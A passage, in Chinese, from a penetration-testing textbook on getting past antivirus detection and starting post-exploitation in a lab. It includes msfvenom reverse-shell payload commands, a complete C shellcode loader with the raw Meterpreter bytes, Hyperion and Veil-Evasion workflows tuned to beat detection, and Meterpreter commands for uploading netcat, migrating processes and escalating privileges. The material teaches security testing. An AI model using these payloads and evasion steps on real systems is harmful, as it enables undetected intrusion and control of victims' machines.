现在我们使用shikata_ga_nai编码器的结果，并用x86/bloxor编码器进行编码。我们在使用 Msfvenom 时的语法与我们通常使用的有所不同。首先，我们通过选项-p - ❸将有效载荷设置为 null。并且，由于我们没有设置有效载荷，我们需要附加两个新选项，告诉 Msfvenom 如何编码我们的输入：-a x86 ❹指定架构为 32 位，--platform windows ❺指定平台为 Windows。最后，在 Msfvenom 命令的末尾，我们使用<符号将前一个命令的.bin文件作为输入管道传入 Msfvenom ❻。生成的可执行文件将使用shikata_ga_nai和x86/bloxor编码。

生成的可执行文件在 VirusTotal 上的 33 个杀毒程序中被检测到——比单独使用shikata_ga_nai稍微好一些。你可能可以通过尝试不同的编码器组合，或将多个编码器连接在一起，或者通过结合不同技术来改善你的结果。例如，如果我们将有效载荷嵌入二进制文件并像这里展示的那样用shikata_ga_nai进行编码，结果会怎么样呢？

root@kali:~# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.20.9 LPORT=2345 -x /usr/share/windows-binaries/radmin.exe -k -e x86/shikata_ga_nai -i 10 -f exe > radminencoded.exe

这只带来了轻微的改进：有效载荷被 21 个杀毒程序检测到。不幸的是，Microsoft Security Essentials 将这两个可执行文件都标记为恶意，如图 12-7 所示。如果我们要绕过杀毒软件检测，我们需要超越 Metasploit 编码器，去看更多的解决方案，尤其是针对 Windows 7 目标。

图 12-7. Microsoft 仍然将此二进制文件标记为恶意。

自定义交叉编译

作为渗透测试的事实标准，Metasploit 吸引了相当多的杀毒软件厂商的关注，他们将为 Msfvenom 生成的有效载荷创建检测特征作为优先任务。当 Msfvenom 创建可执行文件时，它使用预构建的模板，这些模板可以被杀毒软件厂商用来构建检测特征。

或许我们可以通过自己编译一个可执行文件来提高绕过杀毒软件的能力，使用原始 shellcode。让我们从一个简单的 C 模板开始，如示例 12-5 所示。（我们在第三章中讨论了 C 编程的基础。如果这个程序对你来说没有意义，请回顾那一节。）将此代码保存到一个名为custommeterpreter.c的文件中。

示例 12-5. 自定义可执行文件模板

#include <stdio.h>
unsigned char random[]= ❶

unsigned char shellcode[]= ❷

int main(void) ❸
{
        ((void (*)())shellcode)();
}

我们需要为random❶和shellcode❷变量填充数据，这两个变量都是无符号字符数组。我们的目标是，通过添加一些随机性并编译我们自己的 C 代码，足以欺骗防病毒程序。random变量将为模板引入一些随机性。shellcode变量将保存我们使用 Msfvenom 创建的有效负载的原始十六进制字节。main函数❸将在我们编译的 C 程序启动时运行，并执行我们的 shellcode。

像往常一样在 Msfvenom 中创建有效负载，但这次使用-f标志将格式设置为c，如示例 12-6 所示。这将生成我们可以放入 C 文件中的十六进制字节。

示例 12-6. 创建 C 格式的原始有效负载

root@kali:~# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.20.9 LPORT=2345 -f c -e x86/shikata_ga_nai -i 5
unsigned char buf[] =
"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
--*snip*--
"\x00\x56\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x01\xc3\x29\xc6"
"\x85\xf6\x75\xec\xc3";

最后，我们需要加入一些随机性。在 Linux 系统中，找到随机性的好地方是/dev/urandom文件。这个文件是专门设计为伪随机数生成器，利用 Linux 系统中的熵来生成数据。

但是，如果我们仅仅使用cat命令输出/dev/urandom的数据，我们会得到大量不可打印的字符。为了获得适合字符数组的数据，我们将使用 Linux 的tr工具将/dev/urandom的数据转换为可打印字符。使用tr -dc A-Z-a-z-0-9，然后将命令传递给head命令，以仅输出来自/dev/urandom的前 512 个字符，如下所示。

root@kali:~# cat /dev/urandom | tr -dc A-Z-a-z-0-9 | head -c512
s0UULfhmiQGCUMqUd4e51CZKrvsyIcLy3EyVhfIVSecs8xV-JwHYlDgfiCD1UEmZZ2Eb6G0no4qjUIIsSgneqT23nCfbh3keRfuHEBPWlow5zX0fg3TKASYE4adL
--*snip*--

现在将来自/dev/urandom的数据放入 C 文件中的random变量。完成的文件请参见示例 12-7。（当然，你的随机数据和编码的有效负载会有所不同。）确保将字符串用引号括起来，并在末尾加上分号(;)。

示例 12-7. 完成的自定义 C 文件

#include <stdio.h>
unsigned char random[]= "s0UULfhmiQGCUMqUd4e51CZKrvsyIcLy3EyVhfIVSecs8xV-JwHYlDgfiCD1UEmZZ2Eb6G0no4qjUIIsSgneqT23nCfbh3keRfuHEBPWlow5zX0fg3TKASYE4adLqB-3X7MCSL9SuqlChqT6zQkoZNvi9YEWq4ec8
-ajdsJW7s-yZOKHQXMTY0iuawscx57e7Xds15GA6rGObF4R6oILRwCwJnEa-4vrtCMYnZiBytqtrrHkTeNohU4gXcVIem
-lgM-BgMREf24-rcW4zTi-Zkutp7U4djgWNi7k7ULkikDIKK-AQXDp2W3Pug02hGMdP6sxfR0xZZMQFwEF-apQwMlog4Trf5RTHFtrQP8yismYtKby15f9oTmjauKxTQoJzJD96sA-7PMAGswqRjCQ3htuWTSCPleODITY3Xyb1oPD5wt-G1oWvavrpeweLERRN5ZJiPEpEPRTI62OB9mIsxex3omyj10bEha43vkerbN0CpTyernsK1csdLmHRyca";

unsigned char shellcode[]= "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2"
"\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85"
"\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3"
"\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d"
"\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58"
"\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b"
"\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff"
"\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x33\x32\x00\x00\x68"
"\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01"
"\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50"
"\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a"
"\x05\x68\x0a\x00\x01\x09\x68\x02\x00\x09\x29\x89\xe6\x6a\x10"
"\x56\x57\x68\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0c\xff\x4e"
"\x08\x75\xec\x68\xf0\xb5\xa2\x56\xff\xd5\x6a\x00\x6a\x04\x56"
"\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x8b\x36\x6a\x40\x68\x00\x10"
"\x00\x00\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a"
"\x00\x56\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x01\xc3\x29\xc6"
"\x85\xf6\x75\xec\xc3";

int main(void)
{
        ((void (*)())shellcode)();
}

现在我们需要编译 C 程序。我们不能使用内置的 GCC 程序，因为它会将程序编译成适用于 Linux 系统的格式，而我们需要在 32 位 Windows 系统上运行。相反，我们将使用 Kali Linux 仓库中的 Mingw32 交叉编译器，这是我们在第一章中安装的。如果你还没有安装，使用apt-get install mingw32进行安装，然后使用i586-mingw32msvc-gcc编译自定义 C 文件。（除了程序名称，使用交叉编译器的语法与 Linux 内置的 GCC 相同，后者在第三章中讨论过。）

root@kali:~# i586-mingw32msvc-gcc -o custommeterpreter.exe custommeterpreter.c

现在将生成的可执行文件上传到 VirusTotal。截至目前，18 款防病毒产品已检测到该恶意文件。这是一个进步，但 Microsoft Security Essentials 仍然能够捕捉到我们的文件。

我们仍然需要更加努力，才能将恶意可执行文件传送到我们的 Windows 7 系统上。（你可能会通过使用来自其他仓库的另一个交叉编译器获得更好的成功率。）

使用 Hyperion 加密可执行文件

混淆有效负载的另一种方法是对其进行加密。一个可用的可执行文件加密工具是 Hyperion，它使用先进的执行标准（AES）加密，这是当前的行业标准。加密可执行文件后，Hyperion 会丢弃加密密钥。当可执行文件运行时，它会暴力破解加密密钥，将自己解密回原始可执行文件。

如果你有加密学方面的背景，整个过程应该引起你很多的警觉。AES 目前被认为是一个安全的加密标准。如果可执行文件无法访问加密密钥，它不应该能够在合理的时间内暴力破解密钥，肯定无法在我们的渗透测试时间窗口内快速破解。那是怎么回事？

事实证明，Hyperion 大大缩小了加密密钥的可能键空间，这意味着用它加密的二进制文件不应该被认为是密码学上安全的。然而，由于我们的目标和 Hyperion 作者的目标是混淆代码以绕过防病毒检测，因此密钥可以被暴力破解这一点并不是问题。

让我们首先使用 Hyperion 对一个简单的 Meterpreter 可执行文件进行加密，且不使用任何额外的防病毒规避技术，如示例 12-8 所示。（我们在第一章中安装了 Hyperion。）

示例 12-8。运行 Hyperion

root@kali:~# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.20.9 LPORT=2345 -f exe > meterpreter.exe
root@kali:~# cd Hyperion-1.0/
root@kali:~/Hyperion-1.0# wine ../hyperion ../meterpreter.exe bypassavhyperion.exe❶

Opening ../bypassav.exe
Copied file to memory: 0x117178
--*snip*--

Executing fasm.exe

flat assembler  version 1.69.31
5 passes, 0.4 seconds, 92672 bytes.

Hyperion 是为 Windows 系统编写的，但我们可以通过 Wine 程序在 Kali Linux 上运行它，正如示例 12-8 所示。在运行 hyperion.exe 之前，请确保切换到解压源代码时创建的 Hyperion 目录。

Hyperion 接受两个参数：要加密的文件名和加密后的输出文件名。运行 Hyperion 对简单的 Meterpreter 可执行文件进行加密，如 ❶ 所示。生成的文件位于 Hyperion 1.0 目录中，因此可以从那里上传到 VirusTotal。

仅使用通过 Msfvenom 生成的 Meterpreter 可执行文件（没有编码、没有自定义模板或其他任何东西），并使用 Hyperion 加密，结果是 VirusTotal 中的 27 个防病毒程序检测到恶意行为。这还不是我们最低的检测率，但我们终于达到了目标。如图 12-8 所示，Microsoft Security Essentials 没有检测到任何恶意活动！

图 12-8。Microsoft Security Essentials 无法检测恶意软件。

果然，我们可以在安装了杀毒软件的 Windows 7 系统上下载并运行 Hyperion 加密的可执行文件，并成功获得 Meterpreter 会话。我们还没有达到 0% 检测率——这是杀毒软件绕过研究者的“圣杯”——但我们已经能够实现我们的渗透测试目标。

注意

为了进一步降低检测率，可以尝试将 Hyperion 加密与本节中的其他技术结合使用。例如，使用 Hyperion 和自定义模板将我的检测率降至 14。

使用 Veil-Evasion 绕过杀毒软件

即使我们已经成功实现了绕过 Windows 7 上的 Microsoft Security Essentials 的目标，杀毒软件的格局变化迅速，因此，保持对最新工具和技术的关注是值得的。Veil-Evasion 是一个 Python 框架，自动创建绕过杀毒软件的有效载荷，为用户提供多种技术选择。我们在第一章中介绍了如何在 Kali Linux 上安装 Veil-Evasion；如果需要复习，请参考该章节。

注意

随着 Veil-Evasion 更新，你的版本可能与这里显示的不同。

使用 Windows API 的 Python Shellcode 注入

我们之前看过使用自定义 C 模板来编译和执行 shellcode。我们可以使用 Python 的 Ctypes 库来做类似的事情，它让我们能够访问 Windows API 函数调用，并且可以创建与 C 兼容的数据类型。我们可以使用 Ctypes 访问 Windows API 的 VirtualAlloc，它为 shellcode 创建一个新的可执行内存区域，并将该内存区域锁定在物理内存中，以避免 shellcode 被复制并执行时发生页面错误。RtlMoveMemory 用于将 shellcode 字节复制到 VirtualAlloc 创建的内存区域中。CreateThread API 创建一个新线程来运行 shellcode，最后，WaitForSingleObject 会等待直到新线程完成并且我们的 shellcode 执行完毕。

这些步骤合起来被称为 VirtualAlloc 注入方法。当然，这种方法会给我们一个 Python 脚本，而不是 Windows 可执行文件，但你可以使用多种工具将 Python 脚本转换为独立的可执行文件。

使用 Veil-Evasion 创建加密的 Python 生成的可执行文件

Veil-Evasion 中实现的方法之一使用了前面描述的 Python 注入技术。为了进一步提高抗病毒保护，Veil-Evasion 可以使用加密。对于我们的示例，我们将使用结合了 AES 加密的 Python VirtualAlloc 注入，就像我们在本章前面的 Hyperion 示例中所做的一样。

要启动 Veil-Evasion，切换到 Veil-Evasion-master 目录并运行 ./Veil-Evasion.py。你将看到一个基于菜单的提示，类似于我们在上一章的 SET 中看到的提示，如示例 12-9 所示。

示例 12-9. 运行 Veil

root@kali:~/Veil-Evasion-master# ./Veil-Evasion.py
========================================================================
 Veil-Evasion | [Version]: 2.6.0
========================================================================
 [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
========================================================================

 Main Menu

    28 payloads loaded

 Available commands:

    use         use a specific payload
    info        information on a specific payload
    list        list available payloads
    update      update Veil to the latest version
    clean       clean out payload folders
    checkvt     check payload hashes vs. VirusTotal
    exit        exit Veil

要查看 Veil-Evasion 中所有可用的有效载荷，请在提示符下输入list，如示例 12-10 所示。

示例 12-10. Veil-Evasion 有效载荷

[>] Please enter a command: **list**
Available payloads:
    1)    auxiliary/coldwar_wrapper
    2)    auxiliary/pyinstaller_wrapper

--*snip*--

    22)    python/meterpreter/rev_tcp
    ❶23)    python/shellcode_inject/aes_encrypt
    24)    python/shellcode_inject/arc_encrypt
    25)    python/shellcode_inject/base64_substitution
    26)    python/shellcode_inject/des_encrypt
    27)    python/shellcode_inject/flat
    28)    python/shellcode_inject/letter_substitution

截至目前，Veil-Evasion 已经实现了 28 种创建可执行文件的方法。对于本示例，选择第 23 种方法 ❶，使用 VirtualAlloc 注入方法并采用 AES 加密。一旦选择了方法，Veil-Evasion 会提示您是否更改方法选项，默认情况下，如示例 12-11 所示。

示例 12-11. 在 Veil-Evasion 中使用 Python VirtualAlloc

[>] Please enter a command: **23**

Payload: python/shellcode_inject/aes_encrypt loaded

 Required Options:

 Name            Current Value    Description
 ----            -------------    -----------
❶compile_to_exe  Y                Compile to an executable
 expire_paylo    X                Optional: Payloads expire after "X" days
❷inject_method   Virtual          Virtual, Void, Heap
 use_pyherion    N                Use the pyherion encrypter

 Available commands:

    set             set a specific option value
    info            show information about the payload
    generate        generate payload
    back            go to the main menu
    exit            exit Veil

默认情况下，该有效载荷将使用 VirtualAlloc() 作为注入方法，将 Python 脚本编译成可执行文件 ❶。这些选项对于我们的示例是正确的，因此在提示符下输入generate。然后，系统会提示您输入关于 shellcode 的详细信息，如示例 12-12 所示。

示例 12-12. 在 Veil-Evasion 中生成可执行文件

[?] Use msfvenom or supply custom shellcode?

        1 - msfvenom (default)
        2 - Custom

 [>] Please enter the number of your choice: **1**

 [*] Press [enter] for windows/meterpreter/reverse_tcp
 [*] Press [tab] to list available payloads
 [>] Please enter metasploit payload:
 [>] Enter value for 'LHOST', [tab] for local IP: **192.168.20.9**
 [>] Enter value for 'LPORT': **2345**
 [>] Enter extra msfvenom options in OPTION=value syntax:

 [*] Generating shellcode...
 [*] Press [enter] for 'payload'
 [>] Please enter the base name for output files: **meterpreterveil**

 [?] How would you like to create your payload executable?

        1 - Pyinstaller (default)
        2 - Py2Exe

 [>] Please enter the number of your choice: **1**
--*snip*--
 [*] Executable written to: /root/veil-output/compiled/meterpreterveil.exe

 Language:    python
 Payload:    AESEncrypted
 Shellcode:    windows/meterpreter/reverse_tcp
 Options:    LHOST=192.168.20.9  LPORT=2345
 Required Options:    compile_to_exe=Y  inject_method=virtual  use_pyherion=N
 Payload File:    /root/veil-output/source/meterpreterveil.py
 Handler File:    /root/veil-output/handlers/meterpreterveil_handler.rc

 [*] Your payload files have been generated, don't get caught!
 [!] And don't submit samples to any online scanner! ;)

Veil-Evasion 会提示您选择使用 Msfvenom 生成 shellcode，或提供自定义的 shellcode。为了我们的目的，选择 Msfvenom。默认有效载荷是windows/meterpreter/reverse_tcp，按回车键选择它。然后，系统会提示您输入常规选项，如LHOST和LPORT，并为生成的可执行文件指定文件名。最后，Veil-Evasion 提供两种将 Python 转换为可执行文件的方法。选择默认的Pyinstaller，让 Veil-Evasion 生成恶意可执行文件并保存到veil-output/compiled目录。

截至目前，我们在 Windows 7 系统中测试的可执行文件可以轻松通过 Microsoft Security Essentials 的检测。Veil-Evasion 提醒您不要将生成的可执行文件上传到在线扫描器，因此应作者的请求，我们将跳过使用 VirusTotal 检查此示例。然而，我们可以安装其他防病毒解决方案，除了 Microsoft Security Essentials，看看是否能标记出该可执行文件。

注意

如果发现 Veil-Evasion 生成的可执行文件无法正常工作，可能需要使用 Msfupdate 更新 Metasploit。由于 Veil-Evasion 当前不在 Kali Linux 的仓库中，您在设置时下载的最新版本可能与 Kali 1.0.6 默认安装中 Msfvenom 的工作方式不匹配。当然，如果您使用 Msfupdate 更新 Metasploit，书中的其他练习也可能会发生变化，因为 Metasploit 的功能经常更新。因此，如果不希望更新影响后续的练习，您可以选择将此练习留到第二遍阅读时再做，或者使用第二个 Kali Linux 镜像。

直言不讳的隐匿

也许避免杀毒软件的最好方法是完全避免使用传统有效载荷。如果你熟悉 Windows 编程，你可以使用 Windows API 来模拟有效载荷的功能。当然，没有规定合法的应用程序不能与其他系统建立 TCP 连接并发送数据——这实际上就是我们的 windows/meterpreter/reverse_tcp 有效载荷的工作方式。

你可能会发现，与其使用 Msfvenom 生成有效载荷并尝试用本章讨论的方法隐藏它，不如编写一个 C 程序来实现你想要的有效载荷功能，效果可能更好。你甚至可以投资购买代码签名证书，为你的二进制可执行文件签名，以使其看起来更加合法。

注意

在继续进行后渗透阶段之前，先关闭 Microsoft Security Essentials 的实时保护。

总结

在本章中，我们仅探讨了绕过杀毒软件检测的几种技术。绕过杀毒软件的主题可以写成一本书，而且一旦出版，这本书可能会很快过时。渗透测试人员和研究人员不断想出新的方法来突破杀毒软件的检测，而杀毒软件厂商也总是在增加新的签名和启发式算法来抓捕它们。

我们研究了使用 Metasploit 来编码并将有效载荷嵌入合法可执行文件的方法。当我们发现这些技术不足以绕过 Microsoft Security Essentials 时，我们转向了 Metasploit 之外的技术。我们构建了一个自定义可执行文件模板，发现通过结合不同的技术，我们能够提高效果。

我们最终成功达到了绕过 Microsoft Security Essentials 的目标，使用了 Hyperion。虽然我们从未达到 0% 检测率，但我们成功绕过了 Microsoft Security Essentials 以及其他几个顶级杀毒软件。我们还研究了另一个工具 Veil-Evasion，它结合了 VirtualAlloc 注入和加密，以实现更好的规避效果。

在研究了许多入侵系统的方法之后，即便是那些没有明显漏洞的系统，我们现在将关注一旦渗透系统后能做什么，进入渗透测试的后渗透阶段。

第十三章. 后期利用

我们已经获得了目标系统的访问权限，所以渗透测试就结束了吗？我们可以告诉客户我们已经在他们的系统上获得了一个 shell。

那又怎么样呢？为什么客户会在乎？

在后期利用阶段，我们将对被利用系统的信息收集、权限提升和系统之间的移动进行检查。也许我们会发现能够访问存储在被利用系统上的敏感数据，或者我们可以通过网络访问其他系统，从而进一步获取公司数据。也有可能被利用的系统是某个域的一部分，我们可以利用它访问该域中的其他系统。这些只是后期利用阶段我们可能探索的几个方向。

后期利用无疑是获取客户安全态势清晰画像的最重要方式。例如，在第九章中，我提到了一次渗透测试，在其中我通过访问一台废弃的 Windows 2000 域控制器，获得了对该域的完全管理员控制。如果我没有使用后期利用技巧，我可能会得出结论认为这台 Windows 2000 系统没有存储敏感信息，并且它没有连接到其他系统的域中。我的渗透测试就不会那么成功，客户也无法全面了解他们的漏洞，特别是在密码策略方面。

本章将涵盖后期利用的基础知识。当你超越本书，提升作为渗透测试者的技能时，应该花大量时间在后期利用上。扎实的后期利用技能能够将优秀的渗透测试者与真正杰出的渗透测试者区分开来。

现在让我们来看看在 Metasploit 中一些后期利用的选项。

Meterpreter

我们在第八章中讨论了 Meterpreter，Metasploit 的定制有效载荷。现在让我们深入探讨一些 Meterpreter 的功能。

我们将通过在每个目标系统上打开一个 Meterpreter 会话来开始后期利用。如示例 13-1 所示，我在 Windows XP 目标系统上打开了一个会话，使用的是 MS08-067 漏洞。在 Windows 7 目标系统上，我使用了像上一章中一样的木马可执行文件。在 Linux 目标系统上，我使用了在第八章中利用的 TikiWiki PHP 漏洞。你还可以通过 SSH 登录 Linux 目标，使用我们在第九章中破解的georgia密码（password）或我们在第八章中通过开放的 NFS 共享添加的 SSH 公钥。

示例 13-1. 在我们的目标上打开 Metasploit 会话

msf > **sessions -l**

Active sessions
===============

  Id  Type                   Information                            Connection
  --  ----                   -----------                            ----------
  1   meterpreter x86/win32  NT AUTHORITY\SYSTEM @ BOOKXP           192.168.20.9:4444 ->
                                                                      192.168.20.10:1104
                                                                      (192.168.20.10)
  2   meterpreter x86/win32  Book-Win7\Georgia Weidman @ Book-Win7  192.168.20.9:2345 ->
                                                                      192.168.20.12:49264
                                                                      (192.168.20.12)
  3   meterpreter php/php    www-data (33) @ ubuntu                 192.168.20.9:4444 ->
                                                                      192.168.20.11:48308
                                                                      (192.168.20.11)

先按照这里所示与 Windows XP 会话进行交互。

msf post(enum_logged_on_users) > **sessions -i 1**

我们在书中已经看过一些 Meterpreter 命令。比如，在第九章中，我们使用 hashdump 来直接访问本地密码哈希，在离线密码攻击中也有所涉及。要查看可用的 Meterpreter 命令，请在 Meterpreter 控制台中输入 help。有关特定命令的更多详细信息，可以输入 command -h。

使用上传命令

在渗透测试中，可能没有什么比在一台 Windows 机器上没有 wget 和 curl 等工具来从 Web 服务器下载文件更让人烦恼了。在第八章中，我们看到了如何使用 TFTP 绕过这个问题，但 Meterpreter 很容易帮我们解决这个问题。通过一个简单的命令 help upload，我们可以将文件上传到目标，如示例 13-2 中所示。

示例 13-2. Meterpreter 帮助命令

meterpreter > **help upload**
Usage: upload [options] src1 src2 src3 ... destination

Uploads local files and directories to the remote machine.

OPTIONS:

    -h        Help banner.
    -r        Upload recursively.

该帮助信息告诉我们，可以使用 upload 将文件从我们的 Kali 系统复制到 Windows XP 目标。

例如，下面是如何上传 Netcat for Windows：

meterpreter > **upload /usr/share/windows-binaries/nc.exe C:\\**
[*] uploading  : /usr/share/windows-binaries/nc.exe -> C:\
[*] uploaded   : /usr/share/windows-binaries/nc.exe -> C:\\nc.exe

注意

请记住，在路径中的反斜杠字符需要使用第二个反斜杠进行转义。同时记得，如果在渗透测试中上传任何文件或以其他方式更改目标系统，记录下你的更改，以便在测试结束前可以撤销它们。你最不想做的事情就是让环境比你找到时更脆弱。

getuid

另一个有用的 Meterpreter 命令是 getuid。此命令会告诉你运行 Meterpreter 的 System 用户的名称。通常，Meterpreter 以被利用进程或用户的权限运行。

例如，当我们利用 MS08-067 漏洞攻击 SMB 服务器时，我们是以 SMB 服务器的权限运行目标，具体来说，是以 Windows System 账户的权限运行，如下所示。

meterpreter > **getuid**
Server username: NT AUTHORITY\SYSTEM

在 Windows 7 目标机器上，我们通过社会工程学手段诱使用户运行一个已经植入木马的程序，该程序会连接回 Metasploit，因此 Meterpreter 作为用户 Georgia Weidman 运行。

其他 Meterpreter 命令

在继续之前，花点时间操作其他的 Meterpreter 命令。你会发现许多有用的命令，可以用于本地信息收集、远程控制，甚至间谍活动，如键盘记录和从 Meterpreter 会话中打开摄像头。

Meterpreter 脚本

除了 Meterpreter 命令外，你还可以从 Meterpreter 控制台运行 Meterpreter 脚本。当前可用的脚本可以在 Kali 中的 /usr/share/metasploit-framework/scripts/meterpreter 找到。这些脚本是用 Ruby 编写的，你可以编写自己的脚本并提交以便纳入框架中。要使用 Meterpreter 脚本，输入 run <script name>。使用 -h 标志可以查看脚本的帮助信息。

在第十章中利用 Internet Explorer 时，我们使用了 AutoRunScript 选项来自动运行 migrate 脚本，以便在浏览器崩溃之前生成一个新进程并迁移到其中。我们也可以直接在 Meterpreter 中运行这个脚本。例如，输入 run migrate -h，如示例 13-3 所示，会显示 migrate Meterpreter 脚本的帮助信息。

示例 13-3. 迁移脚本帮助信息

meterpreter > **run migrate -h**

OPTIONS:

    -f        Launch a process and migrate into the new process
    -h        Help menu.
    -k        Kill original process.
    -n <opt>  Migrate into the first process with this executable name (explorer.exe)
    -p <opt>  PID to migrate to.

由于我们并不是为了在会话关闭之前抢先操作，我们有一些不同的选项可以选择迁移到哪个进程。我们可以通过使用 -n 选项根据进程名称进行迁移。例如，要迁移到 Meterpreter 在进程列表中遇到的第一个 explorer.exe 实例，可以使用 -n explorer.exe。

你还可以通过使用进程 ID（PID）和 -p 选项迁移到某个进程。使用 Meterpreter 的 ps 命令查看正在运行的进程列表，如示例 13-4 所示。

示例 13-4. 运行进程列表

meterpreter > **ps**

Process List
============

 PID   PPID  Name              Arch  Session     User                    Path
 ---   ----  ----              ----  -------     ----                    ----
 0     0     [System Process]        4294967295
 4     0     System            x86   0           NT AUTHORITY\SYSTEM
--*snip*--
 1144  1712  explorer.exe      x86   0           BOOKXP\georgia          C:\WINDOWS\Explorer.EXE
--*snip*--
 1204  1100  wscntfy.exe       x86   0           BOOKXP\georgia

Explorer.exe 是一个可靠的选择。选择 PID 1144 作为 explorer.exe，然后运行如示例 13-5 所示的 Meterpreter migrate 脚本。

示例 13-5. 运行迁移脚本

meterpreter > **run migrate -p 1144**
[*] Migrating from 1100 to 1144...
[*] Migration completed successfully.
meterpreter > **getuid**
Server username: BOOKXP\georgia

Meterpreter 成功迁移到 explorer.exe 进程中。现在，如果 SMB 服务器恰好变得不稳定或崩溃，我们的 Meterpreter 会话是安全的。

如果你再次运行 getuid 命令，你会看到我们不再以 System 用户身份运行，而是以用户 georgia 身份运行。这是有道理的，因为该进程属于已登录用户 georgia。通过进入这个进程，我们有效地将权限降到了用户 georgia 的级别。

让我们继续以用户 georgia 登录到 XP 目标，并看看如何通过本地权限提升攻击将权限提升到 Windows 目标的 System 或 Linux 目标的 root。

Metasploit 后期利用模块

到目前为止，我们已经使用了 Metasploit 模块进行信息收集、漏洞识别和利用。毫不奇怪，Metasploit 框架也有许多有用的模块用于后期利用阶段。Metasploit 的 post 目录包含用于本地信息收集、远程控制、权限提升等模块，覆盖多个平台。

例如，考虑模块 post/windows/gather/enum_logged_on_users。如示例 13-6 所示，该模块将显示当前登录到目标系统的用户。将会话置于后台（使用 ctrl-Z 或 background）以返回主 Msfconsole 提示符。

示例 13-6. 运行 Metasploit 后期模块

msf > **use post/windows/gather/enum_logged_on_users**
msf post(enum_logged_on_users) > **show options**

Module options (post/windows/gather/enum_logged_on_users):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   CURRENT  true             yes       Enumerate currently logged on users
   RECENT   true             yes       Enumerate Recently logged on users
  ❶SESSION                   yes       The session to run this module on.
msf post(enum_logged_on_users) > **set SESSION 1**
SESSION => 1
msf post(enum_logged_on_users) > **exploit**

[*] Running against session 1

Current Logged Users
====================

 SID                                          User
 ---                                          ----
 S-1-5-21-299502267-308236825-682003330-1003  BOOKXP\georgia

[*] Results saved in: /root/.msf4/loot/20140324121217_default_192.168.20.10_host.users.activ
_791806.txt ❷

Recently Logged Users
=====================

 SID                                          Profile Path
 ---                                          ------------
 S-1-5-18                                     %systemroot%\system32\config\systemprofile
 S-1-5-19                                     %SystemDrive%\Documents and Settings\LocalService
 S-1-5-20                                     %SystemDrive%\Documents and Settings\NetworkService
 S-1-5-21-299502267-308236825-682003330-1003  %SystemDrive%\Documents and Settings\georgia

我们像使用所有 Metasploit 模块一样使用后期模块：我们设置相关选项，然后输入 exploit 来运行模块。然而，对于后期利用模块，除了设置 RHOST 或 SRVHOST，我们还需要告诉 Metasploit 我们要运行后期利用模块的会话 ID ❶。然后我们将模块应用于会话 1，即 Windows XP 目标。

模块返回数据，告诉我们用户 georgia 当前已登录。Metasploit 会自动将输出保存到文件 /root/.msf4/loot/20140324121217_default_192.168.20.10_host.users.activ_791806.txt ❷。

Railgun

Railgun 是一个 Meterpreter 的扩展，允许直接访问 Windows API。它可以在 Meterpreter 的后期利用模块中使用，也可以在 Meterpreter 会话中的 Ruby shell（irb）中使用。例如，我们可以通过直接访问 shell32 Windows DLL 的 IsUserAnAdmin 函数来检查会话是否以管理员身份运行，如图所示。务必先使用 sessions -i <session id> 将会话带到前台。

meterpreter > **irb**
[*] Starting IRB shell
[*] The 'client' variable holds the meterpreter client
>> **client.railgun.shell32.IsUserAnAdmin**
=> {"GetLastError"=>0, "Error Message"=>"The operation completed successfully.", "return"=>true}

首先，我们使用命令 irb 进入 Ruby shell。请注意，client 变量保存了 Meterpreter 客户端。接下来，我们输入 client.railgun.shell32.IsUserAnAdmin，告诉 Ruby 解释器在当前 Meterpreter 会话中使用 Railgun 并访问 shell32.dll 的 IsUserAdmin 函数。（有关更多 Railgun 示例，请查看 Metasploit 后期模块，如 windows/gather/reverse_lookup.rb 和 windows/manage/download_exec.rb，这些也利用了该功能。）输入 exit 退出 Ruby 解释器并返回 Meterpreter。

本地权限提升

在接下来的部分中，我们将探讨 本地权限提升 的示例，该过程涉及在利用后运行漏洞利用来获得更多的系统控制权限。

就像网络软件和客户端软件一样，特权本地进程也可能存在可被利用的安全问题。你的某些攻击可能无法获得你期望的特权。通过网站获得命令执行、在没有管理员权限的情况下妥协用户账户，或利用有限权限的监听服务都可能导致系统访问，但你可能仍然只能作为一个受限用户工作。为了获得我们想要的特权，我们需要进一步利用其他漏洞。

在 Windows 上运行 `getsystem`

Meterpreter 的 getsystem 命令会自动尝试一系列已知的本地权限提升漏洞利用。该命令的选项如示例 13-7 所示。

示例 13-7. getsystem 帮助

meterpreter > **getsystem -h**
Usage: getsystem [options]

Attempt to elevate your privilege to that of local system.

OPTIONS:

    -h Help Banner.
    -t <opt>  The technique to use. (Default to '0').
        0 : All techniques available
        1 : Service - Named Pipe Impersonation (In Memory/Admin)
        2 : Service - Named Pipe Impersonation (Dropper/Admin)
